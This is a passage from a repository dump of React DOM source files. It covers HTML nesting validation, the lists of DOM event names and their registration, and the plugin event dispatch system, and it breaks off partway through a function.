mean we're in a <select>\n    // but\n    case 'option':\n      return tag === '#text';\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intd\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incaption\n    // No special behavior since these rules fall back to \"in body\" mode for\n    // all except special table nodes which cause bad parsing behavior anyway.\n\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intr\n    case 'tr':\n      return (\n        tag === 'th' ||\n        tag === 'td' ||\n        tag === 'style' ||\n        tag === 'script' ||\n        tag === 'template'\n      );\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intbody\n    case 'tbody':\n    case 'thead':\n    case 'tfoot':\n      return (\n        tag === 'tr' ||\n        tag === 'style' ||\n        tag === 'script' ||\n        tag === 'template'\n      );\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incolgroup\n    case 'colgroup':\n      return tag === 'col' || tag === 'template';\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intable\n    case 'table':\n      return (\n        tag === 'caption' ||\n        tag === 'colgroup' ||\n        tag === 'tbody' ||\n        tag === 'tfoot' ||\n        tag === 'thead' ||\n        tag === 'style' ||\n        tag === 'script' ||\n        tag === 'template'\n      );\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inhead\n    case 'head':\n      return (\n        tag === 'base' ||\n        tag === 'basefont' ||\n        tag === 'bgsound' ||\n        tag === 'link' ||\n        tag === 'meta' ||\n        tag === 'title' ||\n        tag === 'noscript' ||\n        tag === 'noframes' ||\n        tag === 'style' ||\n        tag === 'script' ||\n        tag === 'template'\n      );\n    // https://html.spec.whatwg.org/multipage/semantics.html#the-html-element\n    case 'html':\n      if (implicitRootScope) {\n        // When our parent tag is html and we're in the root scope we will actually\n        // insert most tags into the body so we need to fall through to validating\n        // the specific tag with \"in body\" parsing mode below\n        break;\n      }\n      return tag === 'head' || tag === 'body' || tag === 'frameset';\n    case 'frameset':\n      return tag === 'frame';\n    case '#document':\n      if (implicitRootScope) {\n        // When our parent is the Document and we're in the root scope we will actually\n        // insert most tags into the body so we need to fall through to validating\n        // the specific tag with \"in body\" parsing mode below\n        break;\n      }\n      return tag === 'html';\n  }\n\n  // Probably in the \"in body\" parsing mode, so we outlaw only tag combos\n  // where the parsing rules cause implicit opens or closes to be added.\n  // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody\n  switch (tag) {\n    case 'h1':\n    case 'h2':\n    case 'h3':\n    case 'h4':\n    case 'h5':\n    case 'h6':\n      return (\n        parentTag !== 'h1' &&\n        parentTag !== 'h2' &&\n        parentTag !== 'h3' &&\n        parentTag !== 'h4' &&\n        parentTag !== 'h5' &&\n        parentTag !== 'h6'\n      );\n\n    case 'rp':\n    case 'rt':\n      return impliedEndTags.indexOf(parentTag) === -1;\n\n    case 'caption':\n    case 'col':\n    case 'colgroup':\n    case 'frameset':\n    case 'frame':\n    case 'tbody':\n    case 'td':\n    case 'tfoot':\n    case 'th':\n    case 'thead':\n    case 'tr':\n      // These tags are only valid with a few parents that have special child\n      // parsing rules -- if we're down here, then none of those matched and\n      // so we allow it only if we don't know what the parent is, as all other\n      // cases are invalid.\n      return parentTag == null;\n    case 'head':\n      // We support rendering <head> in the root when the container is\n      // #document, <html>, or <body>.\n      return implicitRootScope || parentTag === null;\n    case 'html':\n      // We support rendering <html> in the root when the container is\n      // #document\n      return (\n        (implicitRootScope && parentTag === '#document') || parentTag === null\n      );\n    case 'body':\n      // We support rendering <body> in the root when the container is\n      // #document or <html>\n      return (\n        (implicitRootScope &&\n          (parentTag === '#document' || parentTag === 'html')) ||\n        parentTag === null\n      );\n  }\n\n  return true;\n}\n\n/**\n * Returns whether\n */\nfunction findInvalidAncestorForTag(\n  tag: string,\n  ancestorInfo: AncestorInfoDev,\n): ?Info {\n  switch (tag) {\n    case 'address':\n    case 'article':\n    case 'aside':\n    case 'blockquote':\n    case 'center':\n    case 'details':\n    case 'dialog':\n    case 'dir':\n    case 'div':\n    case 'dl':\n    case 'fieldset':\n    case 'figcaption':\n    case 'figure':\n    case 'footer':\n    case 'header':\n    case 'hgroup':\n    case 'main':\n    case 'menu':\n    case 'nav':\n    case 'ol':\n    case 'p':\n    case 'section':\n    case 'summary':\n    case 'ul':\n    case 'pre':\n    case 'listing':\n    case 'table':\n    case 'hr':\n    case 'xmp':\n    case 'h1':\n    case 'h2':\n    case 'h3':\n    case 'h4':\n    case 'h5':\n    case 'h6':\n      return ancestorInfo.pTagInButtonScope;\n\n    case 'form':\n      return ancestorInfo.formTag || ancestorInfo.pTagInButtonScope;\n\n    case 'li':\n      return ancestorInfo.listItemTagAutoclosing;\n\n    case 'dd':\n    case 'dt':\n      return ancestorInfo.dlItemTagAutoclosing;\n\n    case 'button':\n      return ancestorInfo.buttonTagInScope;\n\n    case 'a':\n      // Spec says something about storing a list of markers, but it sounds\n      // equivalent to this check.\n      return ancestorInfo.aTagInScope;\n\n    case 'nobr':\n      return ancestorInfo.nobrTagInScope;\n  }\n\n  return null;\n}\n\nconst didWarn: {[string]: boolean} = {};\n\nfunction findAncestor(parent: null | Fiber, tagName: string): null | Fiber {\n  while (parent) {\n    switch (parent.tag) {\n      case HostComponent:\n      case HostHoistable:\n      case HostSingleton:\n        if (parent.type === tagName) {\n          return parent;\n        }\n    }\n    parent = parent.return;\n  }\n  return null;\n}\n\nfunction validateDOMNesting(\n  childTag: string,\n  ancestorInfo: AncestorInfoDev,\n): boolean {\n  if (__DEV__) {\n    ancestorInfo = ancestorInfo || emptyAncestorInfoDev;\n    const parentInfo = ancestorInfo.current;\n    const parentTag = parentInfo && parentInfo.tag;\n\n    const invalidParent = isTagValidWithParent(\n      childTag,\n      parentTag,\n      ancestorInfo.implicitRootScope,\n    )\n      ? null\n      : parentInfo;\n    const invalidAncestor = invalidParent\n      ? null\n      : findInvalidAncestorForTag(childTag, ancestorInfo);\n    const invalidParentOrAncestor = invalidParent || invalidAncestor;\n    if (!invalidParentOrAncestor) {\n      return true;\n    }\n\n    const ancestorTag = invalidParentOrAncestor.tag;\n\n    const warnKey =\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      String(!!invalidParent) + '|' + childTag + '|' + ancestorTag;\n    if (didWarn[warnKey]) {\n      return false;\n    }\n    didWarn[warnKey] = true;\n\n    const child = current;\n    const ancestor = child ? findAncestor(child.return, ancestorTag) : null;\n\n    const ancestorDescription =\n      child !== null && ancestor !== null\n        ? describeAncestors(ancestor, child, null)\n        : '';\n\n    const tagDisplayName = '<' + childTag + '>';\n    if (invalidParent) {\n      let info = '';\n      if (ancestorTag === 'table' && childTag === 'tr') {\n        info +=\n          ' Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by ' +\n          'the browser.';\n      }\n      console.error(\n        'In HTML, %s cannot be a child of <%s>.%s\\n' +\n          'This will cause a hydration error.%s',\n        tagDisplayName,\n        ancestorTag,\n        info,\n        ancestorDescription,\n      );\n    } else {\n      console.error(\n        'In HTML, %s cannot be a descendant of <%s>.\\n' +\n          'This will cause a hydration error.%s',\n        tagDisplayName,\n        ancestorTag,\n        ancestorDescription,\n      );\n    }\n    if (child) {\n      // For debugging purposes find the nearest ancestor that caused the issue.\n      // The stack trace of this ancestor can be useful to find the cause.\n      // If the parent is a direct parent in the same owner, we don't bother.\n      const parent = child.return;\n      if (\n        ancestor !== null &&\n        parent !== null &&\n        (ancestor !== parent || parent._debugOwner !== child._debugOwner)\n      ) {\n        runWithFiberInDEV(ancestor, () => {\n          console.error(\n            // We repeat some context because this log might be taken out of context\n            // such as in React DevTools or grouped server logs.\n            '<%s> cannot contain a nested %s.\\n' +\n              'See this log for the ancestor stack trace.',\n            ancestorTag,\n            tagDisplayName,\n          );\n        });\n      }\n    }\n    return false;\n  }\n  return true;\n}\n\nfunction validateTextNesting(\n  childText: string,\n  parentTag: string,\n  implicitRootScope: boolean,\n): boolean {\n  if (__DEV__) {\n    if (implicitRootScope || isTagValidWithParent('#text', parentTag, false)) {\n      return true;\n    }\n\n    const warnKey = '#text|' + parentTag;\n    if (didWarn[warnKey]) {\n      return false;\n    }\n    didWarn[warnKey] = true;\n\n    const child = current;\n    const ancestor = child ? findAncestor(child, parentTag) : null;\n\n    const ancestorDescription =\n      child !== null && ancestor !== null\n        ? describeAncestors(\n            ancestor,\n            child,\n            child.tag !== HostText ? {children: null} : null,\n          )\n        : '';\n\n    if (/\\S/.test(childText)) {\n      console.error(\n        'In HTML, text nodes cannot be a child of <%s>.\\n' +\n          'This will cause a hydration error.%s',\n        parentTag,\n        ancestorDescription,\n      );\n    } else {\n      console.error(\n        'In HTML, whitespace text nodes cannot be a child of <%s>. ' +\n          \"Make sure you don't have any extra whitespace between tags on \" +\n          'each line of your source code.\\n' +\n          'This will cause a hydration error.%s',\n        parentTag,\n        ancestorDescription,\n      );\n    }\n    return false;\n  }\n  return true;\n}\n\nexport {updatedAncestorInfoDev, validateDOMNesting, validateTextNesting};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/CurrentReplayingEvent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {AnyNativeEvent} from '../events/PluginModuleType';\n\n// This exists to avoid circular dependency between ReactDOMEventReplaying\n// and DOMPluginEventSystem.\n\nlet currentReplayingEvent = null;\n\nexport function setReplayingEvent(event: AnyNativeEvent): void {\n  if (__DEV__) {\n    if (currentReplayingEvent !== null) {\n      console.error(\n        'Expected currently replaying event to be null. This error ' +\n          'is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n  }\n  currentReplayingEvent = event;\n}\n\nexport function resetReplayingEvent(): void {\n  if (__DEV__) {\n    if (currentReplayingEvent === null) {\n      console.error(\n        'Expected currently replaying event to not be null. This error ' +\n          'is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n  }\n  currentReplayingEvent = null;\n}\n\nexport function isReplayingEvent(event: AnyNativeEvent): boolean {\n  return event === currentReplayingEvent;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/DOMEventNames.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport getVendorPrefixedEventName from './getVendorPrefixedEventName';\n\nexport type DOMEventName =\n  | 'abort'\n  | 'afterblur' // Not a real event. This is used by event experiments.\n  // These are vendor-prefixed so you should use the exported constants instead:\n  // 'animationiteration' |\n  // 'animationend |\n  // 'animationstart' |\n  | 'beforeblur' // Not a real event. This is used by event experiments.\n  | 'beforeinput'\n  | 'beforetoggle'\n  | 'blur'\n  | 'canplay'\n  | 'canplaythrough'\n  | 'cancel'\n  | 'change'\n  | 'click'\n  | 'close'\n  | 'compositionend'\n  | 'compositionstart'\n  | 'compositionupdate'\n  | 'contextmenu'\n  | 'copy'\n  | 'cut'\n  | 'dblclick'\n  | 'auxclick'\n  | 'drag'\n  | 'dragend'\n  | 'dragenter'\n  | 'dragexit'\n  | 'dragleave'\n  | 'dragover'\n  | 'dragstart'\n  | 'drop'\n  | 'durationchange'\n  | 'emptied'\n  | 'encrypted'\n  | 'ended'\n  | 'error'\n  | 'focus'\n  | 'focusin'\n  | 'focusout'\n  | 'fullscreenchange'\n  | 'fullscreenerror'\n  | 'gotpointercapture'\n  | 'hashchange'\n  | 'input'\n  | 'invalid'\n  | 'keydown'\n  | 'keypress'\n  | 'keyup'\n  | 'load'\n  | 'loadstart'\n  | 'loadeddata'\n  | 'loadedmetadata'\n  | 'lostpointercapture'\n  | 'message'\n  | 'mousedown'\n  | 'mouseenter'\n  | 'mouseleave'\n  | 'mousemove'\n  | 'mouseout'\n  | 'mouseover'\n  | 'mouseup'\n  | 'paste'\n  | 'pause'\n  | 'play'\n  | 'playing'\n  | 'pointercancel'\n  | 'pointerdown'\n  | 'pointerenter'\n  | 'pointerleave'\n  | 'pointermove'\n  | 'pointerout'\n  | 'pointerover'\n  | 'pointerup'\n  | 'popstate'\n  | 'progress'\n  | 'ratechange'\n  | 'reset'\n  | 'resize'\n  | 'scroll'\n  | 'scrollend'\n  | 'seeked'\n  | 'seeking'\n  | 'select'\n  | 'selectstart'\n  | 'selectionchange'\n  | 'stalled'\n  | 'submit'\n  | 'suspend'\n  | 'textInput' // Intentionally camelCase. Non-standard.\n  | 'timeupdate'\n  | 'toggle'\n  | 'touchcancel'\n  | 'touchend'\n  | 'touchmove'\n  | 'touchstart'\n  // These are vendor-prefixed so you should use the exported constants instead:\n  // 'transitionrun' |\n  // 'transitionstart' |\n  // 'transitioncancel' |\n  // 'transitionend' |\n  | 'volumechange'\n  | 'waiting'\n  | 'wheel';\n\nexport const ANIMATION_END: DOMEventName =\n  getVendorPrefixedEventName('animationend');\nexport const ANIMATION_ITERATION: DOMEventName =\n  getVendorPrefixedEventName('animationiteration');\nexport const ANIMATION_START: DOMEventName =\n  getVendorPrefixedEventName('animationstart');\n\nexport const TRANSITION_RUN: DOMEventName =\n  getVendorPrefixedEventName('transitionrun');\nexport const TRANSITION_START: DOMEventName =\n  getVendorPrefixedEventName('transitionstart');\nexport const TRANSITION_CANCEL: DOMEventName =\n  getVendorPrefixedEventName('transitioncancel');\nexport const TRANSITION_END: DOMEventName =\n  getVendorPrefixedEventName('transitionend');\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/DOMEventProperties.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from './DOMEventNames';\n\nimport {registerTwoPhaseEvent} from './EventRegistry';\nimport {\n  ANIMATION_END,\n  ANIMATION_ITERATION,\n  ANIMATION_START,\n  TRANSITION_RUN,\n  TRANSITION_START,\n  TRANSITION_CANCEL,\n  TRANSITION_END,\n} from './DOMEventNames';\n\nimport {\n  enableCreateEventHandleAPI,\n  enableScrollEndPolyfill,\n} from 'shared/ReactFeatureFlags';\n\nexport const topLevelEventsToReactNames: Map<DOMEventName, string | null> =\n  new Map();\n\n// NOTE: Capitalization is important in this list!\n//\n// E.g. it needs \"pointerDown\", not \"pointerdown\".\n// This is because we derive both React name (\"onPointerDown\")\n// and DOM name (\"pointerdown\") from the same list.\n//\n// Exceptions that don't match this convention are listed separately.\n//\n// prettier-ignore\nconst simpleEventPluginEvents = [\n  'abort',\n  'auxClick',\n  'beforeToggle',\n  'cancel',\n  'canPlay',\n  'canPlayThrough',\n  'click',\n  'close',\n  'contextMenu',\n  'copy',\n  'cut',\n  'drag',\n  'dragEnd',\n  'dragEnter',\n  'dragExit',\n  'dragLeave',\n  'dragOver',\n  'dragStart',\n  'drop',\n  'durationChange',\n  'emptied',\n  'encrypted',\n  'ended',\n  'error',\n  'fullscreenChange',\n  'fullscreenError',\n  'gotPointerCapture',\n  'input',\n  'invalid',\n  'keyDown',\n  'keyPress',\n  'keyUp',\n  'load',\n  'loadedData',\n  'loadedMetadata',\n  'loadStart',\n  'lostPointerCapture',\n  'mouseDown',\n  'mouseMove',\n  'mouseOut',\n  'mouseOver',\n  'mouseUp',\n  'paste',\n  'pause',\n  'play',\n  'playing',\n  'pointerCancel',\n  'pointerDown',\n  'pointerMove',\n  'pointerOut',\n  'pointerOver',\n  'pointerUp',\n  'progress',\n  'rateChange',\n  'reset',\n  'resize',\n  'seeked',\n  'seeking',\n  'stalled',\n  'submit',\n  'suspend',\n  'timeUpdate',\n  'touchCancel',\n  'touchEnd',\n  'touchStart',\n  'volumeChange',\n  'scroll',\n  'toggle',\n  'touchMove',\n  'waiting',\n  'wheel',\n];\n\nif (!enableScrollEndPolyfill) {\n  simpleEventPluginEvents.push('scrollEnd');\n}\n\nif (enableCreateEventHandleAPI) {\n  // Special case: these two events don't have on* React handler\n  // and are only accessible via the createEventHandle API.\n  topLevelEventsToReactNames.set('beforeblur', null);\n  topLevelEventsToReactNames.set('afterblur', null);\n}\n\nfunction registerSimpleEvent(domEventName: DOMEventName, reactName: string) {\n  topLevelEventsToReactNames.set(domEventName, reactName);\n  registerTwoPhaseEvent(reactName, [domEventName]);\n}\n\nexport function registerSimpleEvents() {\n  for (let i = 0; i < simpleEventPluginEvents.length; i++) {\n    const eventName = ((simpleEventPluginEvents[i]: any): string);\n    const domEventName = ((eventName.toLowerCase(): any): DOMEventName);\n    const capitalizedEvent = eventName[0].toUpperCase() + eventName.slice(1);\n    registerSimpleEvent(domEventName, 'on' + capitalizedEvent);\n  }\n  // Special cases where event names don't match.\n  registerSimpleEvent(ANIMATION_END, 'onAnimationEnd');\n  registerSimpleEvent(ANIMATION_ITERATION, 'onAnimationIteration');\n  registerSimpleEvent(ANIMATION_START, 'onAnimationStart');\n  registerSimpleEvent('dblclick', 'onDoubleClick');\n  registerSimpleEvent('focusin', 'onFocus');\n  registerSimpleEvent('focusout', 'onBlur');\n\n  registerSimpleEvent(TRANSITION_RUN, 'onTransitionRun');\n  registerSimpleEvent(TRANSITION_START, 'onTransitionStart');\n  registerSimpleEvent(TRANSITION_CANCEL, 'onTransitionCancel');\n  registerSimpleEvent(TRANSITION_END, 'onTransitionEnd');\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/DOMPluginEventSystem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from './DOMEventNames';\nimport type {EventSystemFlags} from './EventSystemFlags';\nimport type {AnyNativeEvent} from './PluginModuleType';\nimport type {\n  KnownReactSyntheticEvent,\n  ReactSyntheticEvent,\n} from './ReactSyntheticEventType';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {allNativeEvents} from './EventRegistry';\nimport {\n  SHOULD_NOT_DEFER_CLICK_FOR_FB_SUPPORT_MODE,\n  IS_LEGACY_FB_SUPPORT_MODE,\n  SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS,\n  IS_CAPTURE_PHASE,\n  IS_EVENT_HANDLE_NON_MANAGED_NODE,\n  IS_NON_DELEGATED,\n} from './EventSystemFlags';\nimport {isReplayingEvent} from './CurrentReplayingEvent';\n\nimport {\n  HostRoot,\n  HostPortal,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  ScopeComponent,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {getLowestCommonAncestor} from 'react-reconciler/src/ReactFiberTreeReflection';\n\nimport getEventTarget from './getEventTarget';\nimport {\n  getClosestInstanceFromNode,\n  getEventListenerSet,\n  getEventHandlerListeners,\n} from '../client/ReactDOMComponentTree';\nimport {COMMENT_NODE, DOCUMENT_NODE} from '../client/HTMLNodeType';\nimport {batchedUpdates} from './ReactDOMUpdateBatching';\nimport getListener from './getListener';\nimport {passiveBrowserEventsSupported} from './checkPassiveEvents';\n\nimport {\n  enableLegacyFBSupport,\n  enableCreateEventHandleAPI,\n  enableScopeAPI,\n  disableCommentsAsDOMContainers,\n  enableScrollEndPolyfill,\n} from 'shared/ReactFeatureFlags';\nimport {createEventListenerWrapperWithPriority} from './ReactDOMEventListener';\nimport {\n  removeEventListener,\n  addEventCaptureListener,\n  addEventBubbleListener,\n  addEventBubbleListenerWithPassiveFlag,\n  addEventCaptureListenerWithPassiveFlag,\n} from './EventListener';\nimport * as BeforeInputEventPlugin from './plugins/BeforeInputEventPlugin';\nimport * as ChangeEventPlugin from './plugins/ChangeEventPlugin';\nimport * as EnterLeaveEventPlugin from './plugins/EnterLeaveEventPlugin';\nimport * as SelectEventPlugin from './plugins/SelectEventPlugin';\nimport * as SimpleEventPlugin from './plugins/SimpleEventPlugin';\nimport * as FormActionEventPlugin from './plugins/FormActionEventPlugin';\nimport * as ScrollEndEventPlugin from './plugins/ScrollEndEventPlugin';\n\nimport reportGlobalError from 'shared/reportGlobalError';\n\nimport {runWithFiberInDEV} from 'react-reconciler/src/ReactCurrentFiber';\n\ntype DispatchListener = {\n  instance: null | Fiber,\n  listener: Function,\n  currentTarget: EventTarget,\n};\n\ntype DispatchEntry = {\n  event: ReactSyntheticEvent,\n  listeners: Array<DispatchListener>,\n};\n\nexport type DispatchQueue = Array<DispatchEntry>;\n\n// TODO: remove top-level side effect.\nSimpleEventPlugin.registerEvents();\nEnterLeaveEventPlugin.registerEvents();\nChangeEventPlugin.registerEvents();\nSelectEventPlugin.registerEvents();\nBeforeInputEventPlugin.registerEvents();\nif (enableScrollEndPolyfill) {\n  ScrollEndEventPlugin.registerEvents();\n}\n\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n) {\n  // TODO: we should remove the concept of a \"SimpleEventPlugin\".\n  // This is the basic functionality of the event system. All\n  // the other plugins are essentially polyfills. So the plugin\n  // should probably be inlined somewhere and have its logic\n  // be core the to event system. This would potentially allow\n  // us to ship builds of React without the polyfilled plugins below.\n  SimpleEventPlugin.extractEvents(\n    dispatchQueue,\n    domEventName,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n    eventSystemFlags,\n    targetContainer,\n  );\n  const shouldProcessPolyfillPlugins =\n    (eventSystemFlags & SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS) === 0;\n  // We don't process these events unless we are in the\n  // event's native \"bubble\" phase, which means that we're\n  // not in the capture phase. That's because we emulate\n  // the capture phase here still. This is a trade-off,\n  // because in an ideal world we would not emulate and use\n  // the phases properly, like we do with the SimpleEvent\n  // plugin. However, the plugins below either expect\n  // emulation (EnterLeave) or use state localized to that\n  // plugin (BeforeInput, Change, Select). The state in\n  // these modules complicates things, as you'll essentially\n  // get the case where the capture phase event might change\n  // state, only for the following bubble event to come in\n  // later and not trigger anything as the state now\n  // invalidates the heuristics of the event plugin. We\n  // could alter all these plugins to work in such ways, but\n  // that might cause other unknown side-effects that we\n  // can't foresee right now.\n  if (shouldProcessPolyfillPlugins) {\n    EnterLeaveEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n    ChangeEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n    SelectEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n    BeforeInputEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n    FormActionEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n  }\n  if (enableScrollEndPolyfill) {\n    ScrollEndEventPlugin.extractEvents(\n      dispatchQueue,\n      domEventName,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n      eventSystemFlags,\n      targetContainer,\n    );\n  }\n}\n\n// List of events that need to be individually attached to media elements.\nexport const mediaEventTypes: Array<DOMEventName> = [\n  'abort',\n  'canplay',\n  'canplaythrough',\n  'durationchange',\n  'emptied',\n  'encrypted',\n  'ended',\n  'error',\n  'loadeddata',\n  'loadedmetadata',\n  'loadstart',\n  'pause',\n  'play',\n  'playing',\n  'progress',\n  'ratechange',\n  'resize',\n  'seeked',\n  'seeking',\n  'stalled',\n  'suspend',\n  'timeupdate',\n  'volumechange',\n  'waiting',\n];\n\n// We should not delegate these events to the container, but rather\n// set them on the actual target element itself. This is primarily\n// because these events do not consistently bubble in the DOM.\nexport const nonDelegatedEvents: Set<DOMEventName> = new Set([\n  'beforetoggle',\n  'cancel',\n  'close',\n  'invalid',\n  'load',\n  'scroll',\n  'scrollend',\n  'toggle',\n  // In order to reduce bytes, we insert the above array of media events\n  // into this Set. Note: the \"error\" event isn't an exclusive media event,\n  // and can occur on other elements too. Rather than duplicate that event,\n  // we just take it from the media events array.\n  ...mediaEventTypes,\n]);\n\nfunction executeDispatch(\n  event: ReactSyntheticEvent,\n  listener: Function,\n  currentTarget: EventTarget,\n): void {\n  event.currentTarget = currentTarget;\n  try {\n    listener(event);\n  } catch (error) {\n    reportGlobalError(error);\n  }\n  event.currentTarget = null;\n}\n\nfunction processDispatchQueueItemsInOrder(\n  event: ReactSyntheticEvent,\n  dispatchListeners: Array<DispatchListener>,\n  inCapturePhase: boolean,\n): void {\n  let previousInstance;\n  if (inCapturePhase) {\n    for (let i = dispatchListeners.length - 1; i >= 0; i--) {\n      const {instance, currentTarget, listener} = dispatchListeners[i];\n      if (instance !== previousInstance && event.isPropagationStopped()) {\n        return;\n      }\n      if (__DEV__ && instance !== null) {\n        runWithFiberInDEV(\n          instance,\n          executeDispatch,\n          event,\n          listener,\n          currentTarget,\n        );\n      } else {\n        executeDispatch(event, listener, currentTarget);\n      }\n      previousInstance = instance;\n    }\n  } else {\n    for (let i = 0; i < dispatchListeners.length; i++) {\n      const {instance, currentTarget, listener} = dispatchListeners[i];\n      if (instance !== previousInstance && event.isPropagationStopped()) {\n        return;\n      }\n      if (__DEV__ && instance !== null) {\n        runWithFiberInDEV(\n          instance,\n          executeDispatch,\n          event,\n          listener,\n          currentTarget,\n        );\n      } else {\n        executeDispatch(event, listener, currentTarget);\n      }\n      previousInstance = instance;\n    }\n  }\n}\n\nexport function processDispatchQueue(\n  dispatchQueue: DispatchQueue,\n  eventSystemFlags: EventSystemFlags,\n): void {\n  const inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;\n  for (let i = 0; i < dispatchQueue.length; i++) {\n    const {event, listeners} = dispatchQueue[i];\n    processDispatchQueueItemsInOrder(event, listeners, inCapturePhase);\n    //  event system doesn't use pooling.\n  }\n}\n\nfunction dispatchEventsForPlugins(\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  nativeEvent: AnyNativeEvent,\n  targetInst: null | Fiber,\n  targetContainer: EventTarget,\n): void {\n  const nativeEventTarget = getEventTarget(nativeEvent);\n  const dispatchQueue: DispatchQueue = [];\n  extractEvents(\n    dispatchQueue,\n    domEventName,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n    eventSystemFlags,\n    targetContainer,\n  );\n  processDispatchQueue(dispatchQueue, eventSystemFlags);\n}\n\nexport function listenToNonDelegatedEvent(\n  domEventName: DOMEventName,\n  targetElement: Element,\n): void {\n  if (__DEV__) {\n    if (!nonDelegatedEvents.has(domEventName)) {\n      console.error(\n        'Did not expect a listenToNonDelegatedEvent() call for \"%s\". ' +\n          'This is a bug in React. Please file an issue.',\n        domEventName,\n      );\n    }\n  }\n  const isCapturePhaseListener = false;\n  const listenerSet = getEventListenerSet(targetElement);\n  const listenerSetKey = getListenerSetKey(\n    domEventName,\n    isCapturePhaseListener,\n  );\n  if (!listenerSet.has(listenerSetKey)) {\n    addTrappedEventListener(\n      targetElement,\n      domEventName,\n      IS_NON_DELEGATED,\n      isCapturePhaseListener,\n    );\n    listenerSet.add(listenerSetKey);\n  }\n}\n\nexport function listenToNativeEvent(\n  domEventName: DOMEventName,\n  isCapturePhaseListener: boolean,\n  target: EventTarget,\n): void {\n  if (__DEV__) {\n    if (nonDelegatedEvents.has(domEventName) && !isCapturePhaseListener) {\n      console.error(\n        'Did not expect a listenToNativeEvent() call for \"%s\" in the bubble phase. ' +\n          'This is a bug in React. Please file an issue.',\n        domEventName,\n      );\n    }\n  }\n\n  let eventSystemFlags = 0;\n  if (isCapturePhaseListener) {\n    eventSystemFlags |= IS_CAPTURE_PHASE;\n  }\n  addTrappedEventListener(\n    target,\n    domEventName,\n    eventSystemFlags,\n    isCapturePhaseListener,\n  );\n}\n\n// This is only used by createEventHandle when the\n// target is not a DOM element. E.g. window.\nexport function listenToNativeEventForNonManagedEventTarget(\n  domEventName: DOMEventName,\n  isCapturePhaseListener: boolean,\n  target: EventTarget,\n): void {\n  let eventSystemFlags: number = IS_EVENT_HANDLE_NON_MANAGED_NODE;\n  const listenerSet = getEventListenerSet(target);\n  const listenerSetKey = getListenerSetKey(\n    domEventName,\n    isCapturePhaseListener,\n  );\n  if (!listenerSet.has(listenerSetKey)) {\n    if (isCapturePhaseListener) {\n      eventSystemFlags |= IS_CAPTURE_PHASE;\n    }\n    addTrappedEventListener(\n      target,\n      domEventName,\n      eventSystemFlags,\n      isCapturePhaseListener,\n    );\n    listenerSet.add(listenerSetKey);\n  }\n}\n\nconst listeningMarker = '_reactListening' + Math.random().toString(36).slice(2);\n\nexport function listenToAllSupportedEvents(rootContainerElement: EventTarget) {\n  if (!(rootContainerElement: any)[listeningMarker]) {\n    (rootContainerElement: any)[listeningMarker] = true;\n    allNativeEvents.forEach(domEventName => {\n      // We handle selectionchange separately because it\n      // doesn't bubble and needs to be on the document.\n      if (domEventName !== 'selectionchange') {\n        if (!nonDelegatedEvents.has(domEventName)) {\n          listenToNativeEvent(domEventName, false, rootContainerElement);\n        }\n        listenToNativeEvent(domEventName, true, rootContainerElement);\n      }\n    });\n    const ownerDocument =\n      (rootContainerElement: any).nodeType === DOCUMENT_NODE\n        ? rootContainerElement\n        : (rootContainerElement: any).ownerDocument;\n    if (ownerDocument !== null) {\n      // The selectionchange event also needs deduplication\n      // but it is attached to the document.\n      if (!(ownerDocument: 